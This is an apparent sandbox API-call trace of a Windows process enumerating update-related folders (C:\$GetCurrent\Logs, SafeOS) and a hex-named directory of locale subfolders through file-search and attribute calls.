	[0069.351] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e0a0
	[0069.364] VirtualAlloc (lpAddress=0xc00017c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017c000
	[0069.364] FindNextFileW (in: hFindFile=0x1619f39e0a0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.364] FindNextFileW (in: hFindFile=0x1619f39e0a0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1
	[0069.364] FindNextFileW (in: hFindFile=0x1619f39e0a0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1
	[0069.364] FindNextFileW (in: hFindFile=0x1619f39e0a0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0069.365] FindNextFileW (in: hFindFile=0x1619f39e0a0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0069.365] FindClose (in: hFindFile=0x1619f39e0a0 | out: hFindFile=0x1619f39e0a0) returned 1
	[0069.366] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0069.366] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28)) returned 1
	[0069.402] SetEvent (hEvent=0x120) returned 1
	[0069.402] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.402] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2)) returned 1
	[0069.407] SetEvent (hEvent=0x120) returned 1
	[0069.407] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.407] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774)) returned 1
	[0069.413] WriteFile (in: hFile=0x0, lpBuffer=0xc0000980a0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.413] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS" (normalized: "c:\\$getcurrent\\safeos"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0069.434] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS" (normalized: "c:\\$getcurrent\\safeos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0069.434] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39df80
	[0069.455] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0069.455] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0069.455] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini", cAlternateFileName="GETCUR~1.INI")) returned 1
	[0069.455] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0069.455] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0069.455] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0069.455] FindNextFileW (in: hFindFile=0x1619f39df80, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0069.455] FindClose (in: hFindFile=0x1619f39df80 | out: hFindFile=0x1619f39df80) returned 1
	[0069.456] WriteFile (in: hFile=0x0, lpBuffer=0xc0000980a0, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0069.456] VirtualAlloc (lpAddress=0xc0000fc000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0000fc000
	[0069.457] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8)) returned 1
	[0069.509] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.509] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956819aa, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x956819aa, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x9c)) returned 1
	[0069.526] SetEvent (hEvent=0x120) returned 1
	[0069.527] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.527] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241)) returned 1
	[0069.527] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.527] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.527] SetEvent (hEvent=0xf0) returned 1
	[0069.527] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133)) returned 1
	[0069.537] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x161c4890000
	[0069.537] VirtualAlloc (lpAddress=0xc000200000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000200000
	[0069.537] VirtualAlloc (lpAddress=0xc000202000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000202000
	[0069.538] VirtualAlloc (lpAddress=0xc000204000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000204000
	[0069.538] VirtualAlloc (lpAddress=0xc000206000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000206000
	[0069.538] VirtualAlloc (lpAddress=0xc000208000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000208000
	[0069.538] WriteFile (in: hFile=0x0, lpBuffer=0xc000208000, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.538] VirtualAlloc (lpAddress=0xc00020a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00020a000
	[0069.539] WriteFile (in: hFile=0x0, lpBuffer=0xc000208000, nNumberOfBytesToWrite=0x31, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.539] VirtualAlloc (lpAddress=0xc00020c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00020c000
	[0069.539] VirtualAlloc (lpAddress=0xc00020e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00020e000
	[0069.539] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a)) returned 1
	[0069.681] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.681] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fe000, nNumberOfBytesToWrite=0x2b, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0069.681] SetEvent (hEvent=0xf0) returned 1
	[0069.681] GetFileAttributesExW (in: lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0069.709] VirtualAlloc (lpAddress=0xc000288000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000288000
	[0069.710] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0069.710] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212" (normalized: "c:\\588bce7c90097ed212"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0069.793] CreateFileW (lpFileName="C:\\588bce7c90097ed212" (normalized: "c:\\588bce7c90097ed212"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0069.793] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0070.139] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1025", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1028", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1029", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1030", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1031", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1032", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0070.297] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1
